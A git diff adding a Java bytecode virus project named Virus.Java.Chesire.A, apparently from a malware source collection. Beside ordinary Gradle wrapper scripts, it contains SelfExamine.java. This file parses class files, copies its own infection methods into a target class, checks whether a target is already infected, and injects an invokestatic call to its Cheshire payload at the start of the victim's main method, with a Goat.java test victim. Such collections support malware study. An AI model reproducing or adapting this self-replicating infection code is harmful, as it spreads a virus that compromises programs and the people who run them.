"$APP_HOME"` + CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` + JAVACMD=`cygpath --unix "$JAVACMD"` + + # We build the pattern for arguments to be converted via cygpath + ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` + SEP="" + for dir in $ROOTDIRSRAW ; do + ROOTDIRS="$ROOTDIRS$SEP$dir" + SEP="|" + done + OURCYGPATTERN="(^($ROOTDIRS))" + # Add a user-defined pattern to the cygpath arguments + if [ "$GRADLE_CYGPATTERN" != "" ] ; then + OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" + fi + # Now convert the arguments - kludge to limit ourselves to /bin/sh + i=0 + for arg in "$@" ; do + CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` + CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option + + if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition + eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` + else + eval `echo args$i`="\"$arg\"" + fi + i=$((i+1)) + done + case $i in + (0) set -- ;; + (1) set -- "$args0" ;; + (2) set -- "$args0" "$args1" ;; + (3) set -- "$args0" "$args1" "$args2" ;; + (4) set -- "$args0" "$args1" "$args2" "$args3" ;; + (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; + (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; + (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; + (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; + (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; + esac +fi + +# Escape application args +save () { + for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done + echo " " +} +APP_ARGS=$(save "$@") + +# Collect all arguments for the java command, following the shell quoting and substitution rules +eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" + +# by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong +if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then + cd "$(dirname "$0")" +fi + +exec "$JAVACMD" "$@" diff --git a/Java/Virus.Java.Chesire.A/gradlew.bat b/Java/Virus.Java.Chesire.A/gradlew.bat new file mode 100644 index 00000000..0f8d5937 --- /dev/null +++ b/Java/Virus.Java.Chesire.A/gradlew.bat @@ -0,0 +1,84 @@ +@if "%DEBUG%" == "" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%" == "" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if "%ERRORLEVEL%" == "0" goto init + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto init + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:init +@rem Get command-line arguments, handling Windows variants + +if not "%OS%" == "Windows_NT" goto win9xME_args + +:win9xME_args +@rem Slurp the command line arguments. +set CMD_LINE_ARGS= +set _SKIP=2 + +:win9xME_args_slurp +if "x%~1" == "x" goto execute + +set CMD_LINE_ARGS=%* + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% + +:end +@rem End local scope for the variables with windows NT shell +if "%ERRORLEVEL%"=="0" goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 +exit /b 1 + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/Java/Virus.Java.Chesire.A/settings.gradle b/Java/Virus.Java.Chesire.A/settings.gradle new file mode 100644 index 00000000..cea49354 --- /dev/null +++ b/Java/Virus.Java.Chesire.A/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'BytecodeVirus' \ No newline at end of file diff --git a/Java/Virus.Java.Chesire.A/src/main/java/Goat.java b/Java/Virus.Java.Chesire.A/src/main/java/Goat.java new file mode 100644 index 00000000..b144ca87 --- /dev/null +++ b/Java/Virus.Java.Chesire.A/src/main/java/Goat.java @@ -0,0 +1,5 @@ +public class Goat { + public static void main(String[] args){ + System.out.println("Hi! Any code can be running here!"); + } +} diff --git a/Java/Virus.Java.Chesire.A/src/main/java/SelfExamine.java b/Java/Virus.Java.Chesire.A/src/main/java/SelfExamine.java new file mode 100644 index 00000000..f8405a64 --- /dev/null +++ b/Java/Virus.Java.Chesire.A/src/main/java/SelfExamine.java @@ -0,0 +1,1516 @@ +import org.graalvm.compiler.nodes.memory.Access; + +import java.io.*; +import java.lang.invoke.MethodHandles; +import java.nio.ByteBuffer; +import java.nio.file.AccessDeniedException; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Properties; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; +import java.util.jar.JarInputStream; +import java.util.jar.JarOutputStream; +import java.util.zip.ZipException; + + +public class SelfExamine{ + /** + * Basic algorithm: Read ourself, read our own methods to copy them, + * find main in the target class, inject our methods and inject a + * call to the infect/copy function + */ + + /** + * Go through all methods in our parsed class. + * We are assuming the class we're given is probably us and therefore looking + * for our own data to copy in preparation for our target. + * + * We need to copy from the constant pool: + * - Name + * - Descriptor + * - Items for Method Attributes, Fields. Ugh... + * + * How do we want to write this... + * Something like copyMethods(findOurMethods())? + * + * @param parsedClass + */ + public static void findOurMethods(HashMap parsedClass, HashMap target){ + byte[][] methods = (byte[][]) parsedClass.get("methods"); + byte[][] cpool = (byte[][]) parsedClass.get("constant_pool"); + ArrayList our_methods = new ArrayList(); + + + our_methods.add("findOurMethods"); + our_methods.add("copyConstant"); + our_methods.add("Cheshire"); + our_methods.add("processVerificationTypeInfo"); + our_methods.add("parseClassFile"); + our_methods.add("instructionIndex"); + our_methods.add("processInstructions"); + our_methods.add("processAttribute"); + our_methods.add("getUtf8Constant"); + our_methods.add("addToPool"); + our_methods.add("classBytes"); + our_methods.add("copyMethod"); + our_methods.add("getMethodName"); + our_methods.add("getClassName"); + our_methods.add("isInfected"); + our_methods.add("searchFile"); + + + //Loop through our methods and find the ones we're interested in + for(int i = 0; i < methods.length; i++){ + ByteBuffer bb = ByteBuffer.wrap(Arrays.copyOfRange(methods[i], 2, 6)); + int name_index = bb.getShort(); + int descriptor_index = bb.getShort(); + String name = new String(Arrays.copyOfRange(cpool[name_index-1], 3, cpool[name_index-1].length)); + String descriptor = new String(Arrays.copyOfRange(cpool[descriptor_index-1], 3, cpool[descriptor_index-1].length)); + + if(our_methods.contains(name)){ + try { + copyMethod(parsedClass, i, target); + } + catch(IOException e){ + e.printStackTrace(); + } + } + } + } + + /** + * This is a super lame way to detect infection but it'll have to do for now. + * If class has a method called Cheshire, return true. + * @param parsedClass + * @return + */ + public static boolean isInfected(HashMap parsedClass){ + byte[][] methods = (byte[][]) parsedClass.get("methods"); + boolean infected = false; + for(int i = 0; i < methods.length; i++){ + ByteBuffer b = ByteBuffer.wrap(methods[i]); + b.get(new byte[2]); + int nameIndex = b.getShort(); + b.get(new byte[4]); + String methodName = getUtf8Constant(nameIndex, parsedClass); + if(methodName.equals("Cheshire")){ + infected = true; + + } + } + return infected; + } + + /** + * Look for the main method. If it exists, inject invokestatic (cheshire methodref constant pool index) + * Rough method for doing this with our code: + * 1. Find main + * 2. Find the constant pool item corresponding to the Cheshire method + * 2. After all other methods have been added, add invokestatic [methodref] instruction as first instruction of main + * method in victim class. + * 3. Add one to the first stackmapframe offset + * + * + */ + public static void inject(HashMap origin, HashMap destination){ + //Are there any functions called main? + //Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame + //We should parse through the constant pool, look for the methodref with our method name and capture the index + byte[][] constant_pool = (byte[][]) origin.get("constant_pool"); + int methodRefIndex; + byte[] instruction_bytes = new byte[3]; + + //Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef + //For that method manually. + + //Find the Constant Pool index of the MethodRef for our virus. + for(int i = 0; i < constant_pool.length; i++){ + byte[] constant = constant_pool[i]; + + if(constant[0] == (byte) 10){ + byte[] natindexbytes = new byte[2]; + System.arraycopy(constant, 3 , natindexbytes, 0, 2); + int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF)); + byte[] NameAndType = constant_pool[NameAndTypeIndex-1]; + byte[] nameindexbytes = new byte[2]; + System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 ); + int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF)); + String methodName = getUtf8Constant(NameIndex, origin); + if(methodName.equals("Cheshire")){ + methodRefIndex = i+1; + methodRefIndex = copyConstant(origin, methodRefIndex, destination); + ByteBuffer bb = ByteBuffer.allocate(2); + bb.putShort((short) methodRefIndex); + byte[] index_bytes = bb.array(); + byte invokestatic = (byte) 184; + instruction_bytes[0] = invokestatic; + instruction_bytes[1] = index_bytes[0]; + instruction_bytes[2] = index_bytes[1]; + ArrayList inject_instructions = new ArrayList(); + inject_instructions.add(instruction_bytes); + destination.put("inject_instructions", inject_instructions); + } + } + } + + byte[][] methods = (byte[][]) destination.get("methods"); + for(int i = 0; i < methods.length; i++){ + ByteBuffer b = ByteBuffer.wrap(methods[i]); + b.get(new byte[2]); + int nameIndex = b.getShort(); + b.get(new byte[4]); + String methodName = getUtf8Constant(nameIndex, destination); + if(methodName.equals("main")){ + try { + copyMethod((HashMap) destination.clone(), i, destination); + } catch (IOException e) { + e.printStackTrace(); + } + + } + } + + } + + /** + * Fortunately for us, not much to do here. Process verification type info for items on the stack. + * Not touching it, so essentially just copying the data. + * @param b + * @param origin + * @param destination + * @return + */ + public static byte[] processVerificationTypeInfo(ByteBuffer b, HashMap origin, HashMap destination){ + byte tagbyte = b.get(); + int tag = tagbyte & 0xFF; + if(tag >= 0 && tag < 7){ + ByteBuffer newbuff = ByteBuffer.allocate(1); + newbuff.put(tagbyte); + return newbuff.array(); + } + else if(tag == 7){ + ByteBuffer newbuff = ByteBuffer.allocate(3); + int index = b.getShort(); + newbuff.put(tagbyte); + int new_index = copyConstant(origin, index, destination); + newbuff.putShort((short) new_index); + return newbuff.array(); + } + else if(tag == 8){ + ByteBuffer newbuff = ByteBuffer.allocate(3); + newbuff.put(tagbyte); + int offset = b.getShort(); + newbuff.putShort((short) offset); + return newbuff.array(); + } + else { + return null; + } + } + + /** + * Convert the index in the old code byte array to an index at the same instruction in the + * new list. Return the new index. + * First, find the instruction position in the OldList. Then, if necessary, find the remainder. + * Next, take that instruction position and cycle through the newList, adding the length of each instruction + * as you go. Once that instruction position is reached, add the remainder. + * If two instruction lists of different sizes are passed, we assume instructions are being injected at the + * beginning of the list. + * Step 1. How many more instructions in old list than new list? + * Step 2. Start from equivalent position by subtracting number of instructions + * Step 3. Add delta to instruction_pos for accurate offset + * + * @param index + * @param oldList + * @param newList + * @return + */ + public static int instructionIndex(int index, ArrayList oldList, ArrayList newList){ + int oldposition = 0; + int newposition = 0; + int remainder = 0; + int instruction_pos = 0; + int list_offset = 0; + if(oldList.size() != newList.size()){ + list_offset = newList.size() - oldList.size(); + } + // Step one: Convert old index + while(oldposition < index){ + if(oldposition + oldList.get(instruction_pos).length <= index){ + oldposition += oldList.get(instruction_pos).length; + instruction_pos += 1; + } + else if(oldposition + oldList.get(instruction_pos).length > index){ + oldposition += oldList.get(instruction_pos).length; + instruction_pos += 1; + remainder = oldposition - index; + oldposition -= remainder; + } + } + instruction_pos += list_offset; + //Step two: Convert instruction_pos + remainder to new position + for(int i = 0; i < instruction_pos; i++){ + newposition += newList.get(i).length; + } + return newposition; + } + + /** + * This function ended up being more complex than I'd thought. + * We want to create a data structure where new offsets can be calculated based on instruction position. + * Ideally, we keep old and new code in a 2d array and calculate offsets based on where instructions are + * rather than doing individual calculations for each piece. I think it's also ideal if we write + * function to translate an old position to a new one at any given time. Due to functions being processed + * one at a time, I think it's OK to store this data in the origin and destination hash maps(if needed). + * + * The process of adjustment should look something like this: + * Instructions are read into an ArrayList of byte arrays. + * The origin class and the destination class are both given copies of the same list. + * Following that, the origin class is processed to: + * 1. Add new constant pool indices + * 2. Change instructions if necessary + * 3. adjust if, goto offsets + * + * NOTE TO SELF: I SKIPPED PARSING LOOKUPSWTICH BECAUSE IT'S NOT IN ANY OF THE CODE TO BE COPIED + * @param instructions + * @param origin + * @param destination + * @return + */ + public static byte[] processInstructions(byte[] instructions, HashMap origin, HashMap destination, ArrayList injectInstructions){ + ByteBuffer buffer = ByteBuffer.wrap(instructions); + int code_length = instructions.length; + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ArrayList byteList = new ArrayList(); + while(buffer.hasRemaining()){ + byte instruction = buffer.get(); + if((instruction & 0xff) == 18){ + byte index = buffer.get(); + byte[] inst_bytes = new byte[2]; + inst_bytes[0] = instruction; + inst_bytes[1] = index; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 182 || (instruction & 0xff) == 19 || (instruction & 0xff) == 183 || (instruction & 0xff) == 192 || (instruction & 0xff) == 187 || (instruction & 0xff) == 184 || (instruction & 0xff) == 178 || (instruction & 0xff) == 189 || (instruction & 0xff) == 180 || (instruction & 0xff) == 20){ + int old_index = buffer.getShort(); + int new_index = copyConstant(origin, old_index, destination); + ByteBuffer temp = ByteBuffer.allocate(2); + temp.putShort((short) new_index); + byte[] index_bytes = temp.array(); + byte[] inst_bytes = new byte[3]; + inst_bytes[0] = instruction; + inst_bytes[1] = index_bytes[0]; + inst_bytes[2] = index_bytes[1]; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 186){ + int old_index = buffer.getShort(); + int new_index = copyConstant(origin, old_index, destination); + ByteBuffer tempBuff = ByteBuffer.allocate(2); + tempBuff.putShort((short) new_index); + byte[] index_bytes = tempBuff.array(); + byte b1 = buffer.get(); + byte b2 = buffer.get(); + byte[] inst_bytes = new byte[5]; + inst_bytes[0] = instruction; + inst_bytes[1] = index_bytes[0]; + inst_bytes[2] = index_bytes[1]; + index_bytes[3] = b1; + index_bytes[4] = b2; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 201){ + byte b1 = buffer.get(); + byte b2 = buffer.get(); + byte b3 = buffer.get(); + byte b4 = buffer.get(); + byte[] inst_bytes = new byte[5]; + inst_bytes[0] = b1; + inst_bytes[1] = b2; + inst_bytes[2] = b3; + inst_bytes[3] = b4; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 185){ + int old_index = buffer.getShort(); + int new_index = copyConstant(origin, old_index, destination); + ByteBuffer temp = ByteBuffer.allocate(2); + temp.putShort((short) new_index); + byte[] indexBytes = temp.array(); + byte b1 = buffer.get(); + byte b2 = buffer.get(); + byte[] inst_bytes = new byte[5]; + inst_bytes[0] = instruction; + inst_bytes[1] = indexBytes[0]; + inst_bytes[2] = indexBytes[1]; + inst_bytes[3] = b1; + inst_bytes[4] = b2; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 200){ + byte[] inst_bytes = new byte[5]; + inst_bytes[0] = instruction; + byte b1 = buffer.get(); + byte b2 = buffer.get(); + byte b3 = buffer.get(); + byte b4 = buffer.get(); + inst_bytes[1] = b1; + inst_bytes[2] = b2; + inst_bytes[3] = b3; + inst_bytes[4] = b4; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 17 || (instruction & 0xff) == 181 || (instruction & 0xff) == 165 || (instruction & 0xff) == 166 || (instruction & 0xff) == 159 || (instruction & 0xff) == 160 || (instruction & 0xff) == 161 || (instruction & 0xff) == 162 || (instruction & 0xff) == 163 || (instruction & 0xff) == 164 || (instruction & 0xff) == 153 || (instruction & 0xff) == 154 || (instruction & 0xff) == 155 || (instruction & 0xff) == 156 || (instruction & 0xff) == 157 || (instruction & 0xff) == 158 || (instruction & 0xff) == 199 || (instruction & 0xff) == 198 || (instruction & 0xff) == 132 || (instruction & 0xff) == 193 || (instruction & 0xff) == 168 || (instruction & 0xff) == 167 || (instruction & 0xff) == 179){ + byte b1 = buffer.get(); + byte b2 = buffer.get(); + byte[] inst_bytes = new byte[3]; + inst_bytes[0] = instruction; + inst_bytes[1] = b1; + inst_bytes[2] = b2; + byteList.add(inst_bytes); + + } + else if((instruction & 0xff) == 188 || (instruction & 0xff) == 22 || (instruction & 0xff) == 55 || (instruction & 0xff) == 25 || (instruction & 0xff) == 58 || (instruction & 0xff) == 16 || (instruction & 0xff) == 24 || (instruction & 0xff) == 57 || (instruction & 0xff) == 23 || (instruction & 0xff) == 56 || (instruction & 0xff) == 21 || (instruction & 0xff) == 54){ + byte[] inst_bytes = new byte[2]; + inst_bytes[0] = instruction; + byte b = buffer.get(); + inst_bytes[1] = b; + byteList.add(inst_bytes); + } + else if((instruction & 0xff) == 182 || (instruction & 0xff) == 183 || (instruction & 0xff) == 192 || (instruction & 0xff) == 187 || (instruction & 0xff) == 184 || (instruction & 0xff) == 178 || (instruction & 0xff) == 189 ){ + byte[] inst = new byte[3]; + inst[0] = instruction; + int old_index = buffer.getShort(); + int new_index = copyConstant(origin, old_index, destination); + ByteBuffer temp = ByteBuffer.allocate(2); + temp.putShort((short) new_index); + byte[] index_bytes = temp.array(); + inst[1] = index_bytes[0]; + inst[2] = index_bytes[1]; + byteList.add(inst); + } + else if((instruction & 0xff) == 197){ + byte[] inst_bytes = new byte[4]; + inst_bytes[0] = instruction; + inst_bytes[1] = buffer.get(); + inst_bytes[2] = buffer.get(); + inst_bytes[3] = buffer.get(); + byteList.add(inst_bytes); + } + else { + byte[] inst = new byte[1]; + inst[0] = instruction; + byteList.add(inst); + } + } + origin.put("method_code", byteList.clone()); + + int code_position = 0; + + for(byte[] bytes : byteList) { + byte[] inst = bytes; + if (inst[0] == 18) { + int old_index = inst[1] & 0xff; + int new_index = copyConstant(origin, old_index, destination); + byte[] new_inst; + if (new_index > 255) { + new_inst = new byte[3]; + ByteBuffer b = ByteBuffer.allocate(2); + b.putShort((short) new_index); + new_inst[0] = 19; + new_inst[1] = b.array()[0]; + new_inst[2] = b.array()[1]; + byteList.set(byteList.indexOf(inst), new_inst); + } else { + new_inst = new byte[2]; + new_inst[0] = 18; + new_inst[1] = (byte) new_index; + byteList.set(byteList.indexOf(inst), new_inst); + } + + } + } + ArrayList newList = new ArrayList(); + if(injectInstructions != null){ + newList.addAll(injectInstructions); + newList.addAll(byteList); + } + else{ + newList = byteList; + } + + for(int i = 0; i < byteList.size(); i++){ + byte[] inst = byteList.get(i); + int list_offset = newList.size() - byteList.size(); + int instruction = inst[0] & 0xFF; + if((inst[0] & 0xff) == 198 || (inst[0] & 0xff) == 162 || (inst[0] & 0xff) == 159 || (inst[0] & 0xff) == 155 || (inst[0] & 0xff) == 160 || (inst[0] & 0xff) == 161 || (inst[0] & 0xff) == 162 || (inst[0] & 0xff) == 163 || (inst[0] & 0xff) == 164 || (inst[0] & 0xff) == 153 || (inst[0] & 0xff) == 199){ + int offset = (short) (((inst[1] & 0xFF) << 8) | (inst[2] & 0xFF)); + int new_position = instructionIndex(code_position, (ArrayList) origin.get("method_code"), newList); + int new_offset = instructionIndex(code_position + offset, (ArrayList) origin.get("method_code"), newList)- new_position; + ByteBuffer offset_buff = ByteBuffer.allocate(3); + offset_buff.put(inst[0]); + offset_buff.putShort((short) new_offset); + newList.set(i+list_offset, offset_buff.array()); + } + if((inst[0] & 0xff) == 167){ + int offset = (short) (((inst[1] & 0xFF) << 8) | (inst[2] & 0xFF)); + int new_position = instructionIndex(code_position, (ArrayList) origin.get("method_code"), newList); + int new_offset = instructionIndex(code_position + offset, (ArrayList) origin.get("method_code"), newList)- new_position; + ByteBuffer offset_buff = ByteBuffer.allocate(3); + offset_buff.put(inst[0]); + offset_buff.putShort((short) new_offset); + newList.set(i+list_offset, offset_buff.array()); + } + code_position += ((ArrayList) origin.get("method_code")).get(i).length; + + } + destination.put("method_code", newList.clone()); + for(byte[] inst : newList){ + try { + bos.write(inst); + } catch (IOException e) { + e.printStackTrace(); + } + } + + return bos.toByteArray(); + } + + /** + * Returns an array of bytes corresponding to a set of attributes passed to it. Could be one or several. + * @return + */ + public static byte[] processAttribute(byte[] attribute, HashMap origin, HashMap destination, String type) { + ByteBuffer b = ByteBuffer.allocate(attribute.length); + ByteBuffer buffer = ByteBuffer.wrap(attribute); + + if(type.equals("Code")){ + //method_buffer[] + ByteBuffer tempBuffer = ByteBuffer.allocate(4); + tempBuffer.putShort(buffer.getShort()); + tempBuffer.putShort(buffer.getShort()); + int code_length = buffer.getInt(); + + byte[] code = new byte[code_length]; + buffer.get(code); + origin.put("method_code", null); + destination.put("method_code", null); + byte[] instructions = processInstructions(code, origin, destination, (ArrayList) destination.get("inject_instructions")); + b = ByteBuffer.allocate(attribute.length + (instructions.length - code_length)); + b.put(tempBuffer.array()); + code_length = instructions.length; + b.putInt(code_length); + b.put(instructions); + int exception_table_length = buffer.getShort(); + b.putShort((short) exception_table_length); + + for(int c = 0; c < exception_table_length; c++){ + byte[] dump = new byte[6]; + buffer.get(dump); + HashMap offsets = (HashMap) origin.get("method_offsets"); + int start_pc = (short) (((dump[0] & 0xFF) << 8) | (dump[1] & 0xFF)); + int end_pc = (short) (((dump[2] & 0xFF) << 8) | (dump[3] & 0xFF)); + int handler_pc = (short) (((dump[4] & 0xFF) << 8) | (dump[5] & 0xFF)); + start_pc = instructionIndex(start_pc, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")); + end_pc = instructionIndex(end_pc, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")); + handler_pc = instructionIndex(handler_pc, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")); + b.putShort((short) start_pc); + b.putShort((short) end_pc); + b.putShort((short) handler_pc); + int catch_type = buffer.getShort(); + int new_catch_type = copyConstant(origin, catch_type, destination); + b.putShort((short) new_catch_type); + + } + + int attributes_count = buffer.getShort(); + b.putShort((short) attributes_count); + for(int d = 0; d < attributes_count; d++){ + int name_index = buffer.getShort(); + int new_name_index = copyConstant(origin, name_index, destination); + b.putShort((short) new_name_index); + int attribute_length = buffer.getInt(); + b.putInt(attribute_length); + byte[] new_attribute = new byte[attribute_length]; + buffer.get(new_attribute); + byte[] processedAttributed = processAttribute(new_attribute, origin, destination, getUtf8Constant(name_index, origin)); + if(processedAttributed.length == attribute_length){ + b.put(processedAttributed); + } + } + return b.array(); + } + else if(type.equals("LocalVariableTable")){ + int table_length = buffer.getShort(); + HashMap offsets = (HashMap) origin.get("method_offsets"); + b.putShort((short) table_length); + HashMap LVT = new HashMap(); + for(int i = 0; i < table_length; i++) { + int start_pc = buffer.getShort(); + int length = buffer.getShort(); + int pc_length = start_pc+length; + start_pc = instructionIndex(start_pc, (ArrayList) origin.get("method_code"),(ArrayList) destination.get("method_code")); + length = instructionIndex(pc_length, (ArrayList) origin.get("method_code"),(ArrayList) destination.get("method_code")) - start_pc; + if(start_pc == 65535){ + System.out.println("Woah nelly!"); + } + b.putShort((short) start_pc); + b.putShort((short) length); + int orig_name_index = buffer.getShort(); + + int new_name_index = copyConstant(origin, orig_name_index, destination); + b.putShort((short) new_name_index); + int orig_descriptor_index = buffer.getShort(); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) new_descriptor_index); + b.putShort(buffer.getShort()); + int[] values = new int[2]; + values[0] = new_name_index; + values[1] = new_descriptor_index; + LVT.put(getUtf8Constant(orig_name_index, origin), values); + } + origin.put("LVT", LVT); + return b.array(); + } + else if(type.equals("LocalVariableTypeTable")){ + int table_length = buffer.getShort(); + b.putShort((short) table_length); + HashMap LVT = (HashMap) origin.get("LVT"); + HashMap offsets = (HashMap) origin.get("method_offsets"); + for(int i = 0; i < table_length; i++) { + int start_pc = buffer.getShort(); + int length = buffer.getShort(); + int pc_length = start_pc+length; + start_pc = instructionIndex(start_pc, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")); + b.putShort((short) start_pc); + length = instructionIndex(pc_length, (ArrayList) origin.get("method_code"),(ArrayList) destination.get("method_code")) - start_pc; + b.putShort((short) length); + int orig_name_index = buffer.getShort(); + int[] indices = LVT.get(getUtf8Constant(orig_name_index, origin)); + int new_name_index = (short) indices[0]; + b.putShort((short) indices[0]); + int orig_descriptor_index = buffer.getShort(); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) indices[1]); + b.putShort(buffer.getShort()); + } + return b.array(); + } + else if(type.equals("Signature")){ + int old_signature_index = buffer.getShort(); + int new_signature_index = copyConstant(origin, old_signature_index, destination); + b.putShort((short) new_signature_index); + return b.array(); + } + else if(type.equals("Exceptions")){ + int number_of_exceptions = buffer.getShort(); + b.putShort((short) number_of_exceptions); + for(int i = 0; i < number_of_exceptions; i++){ + int class_index = buffer.getShort(); + int new_class_index = copyConstant(origin, class_index, destination); + b.putShort((short) new_class_index); + } + return b.array(); + } + else if(type.equals("StackMapTable")){ + int num_entries = buffer.getShort(); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + int frame_position = 0; + int old_frame_position = 0; + for(int i = 0; i < num_entries; i++){ + + byte tagbyte = buffer.get(); + int tag = tagbyte & 0xFF; + + if(tag >= 0 && tag <= 63){ + int new_offset = instructionIndex(old_frame_position + tag + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position +i); + old_frame_position += tag; + + Integer a = new_offset; + byte newtag = a.byteValue(); + bos.write(newtag); + + frame_position += new_offset; + + } + else if(tag >= 64 && tag <= 127){ + + int new_offset = instructionIndex(old_frame_position + (tag - 64) + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); + + old_frame_position += (tag - 64); + + byte newtag = (byte) (new_offset+64); + bos.write(newtag); + try { + bos.write(processVerificationTypeInfo(buffer, origin, destination)); + } + catch (IOException e){ + + } + frame_position += new_offset; + + } + else if(tag == 247){ + bos.write(tagbyte); + ByteBuffer bbuf = ByteBuffer.allocate(2); + int offset = buffer.getShort(); + int new_offset = instructionIndex(old_frame_position + offset + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); + + old_frame_position += offset; + + bbuf.putShort((short) new_offset); + try { + bos.write(bbuf.array()); + bos.write(processVerificationTypeInfo(buffer, origin, destination)); + } + catch (IOException e){ + + } + + frame_position += new_offset; + + } + else if(tag >= 248 && tag <= 251){ + bos.write(tagbyte); + int offset = buffer.getShort(); + int new_offset = instructionIndex(old_frame_position + offset + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); + old_frame_position += offset; + ByteBuffer bbuf = ByteBuffer.allocate(2); + + bbuf.putShort((short) new_offset); + + try { + bos.write(bbuf.array()); + } + catch (IOException e){ + + } + + frame_position += new_offset; + + } + else if(tag >= 252 && tag <= 254){ + bos.write(tagbyte); + ByteBuffer bbuf = ByteBuffer.allocate(2); + byte[] offset = new byte[2]; + int o_offset = buffer.getShort(); + int offset_i = instructionIndex(o_offset + old_frame_position + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); + + old_frame_position += o_offset; + + + bbuf.putShort((short) offset_i); + + try { + bos.write(bbuf.array()); + int numtypes = tag - 251; + for(int a = 0; a < numtypes; a++) { + bos.write(processVerificationTypeInfo(buffer, origin, destination)); + } + } catch (IOException e) { + e.printStackTrace(); + } + + frame_position += offset_i; + + + + } + else if(tag == 255){ + bos.write(tagbyte); + byte[] offset = new byte[2]; + int offset_int = buffer.getShort(); + int new_offset = instructionIndex(old_frame_position + offset_int + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); + old_frame_position += offset_int; + + + ByteBuffer bbuf = ByteBuffer.allocate(2); + bbuf.putShort((short) new_offset); + + try { + bos.write(bbuf.array()); + int num_locals = buffer.getShort(); + bbuf = ByteBuffer.allocate(2); + bbuf.putShort((short) num_locals); + bos.write(bbuf.array()); + for(int a = 0; a < num_locals; a++){ + bos.write(processVerificationTypeInfo(buffer, origin, destination)); + } + int num_stack_items = buffer.getShort(); + bbuf = ByteBuffer.allocate(2); + bbuf.putShort((short) num_stack_items); + bos.write(bbuf.array()); + for(int a= 0; a < num_stack_items; a++){ + bos.write(processVerificationTypeInfo(buffer, origin, destination)); + } + } catch (IOException e) { + e.printStackTrace(); + } + + frame_position += new_offset; + 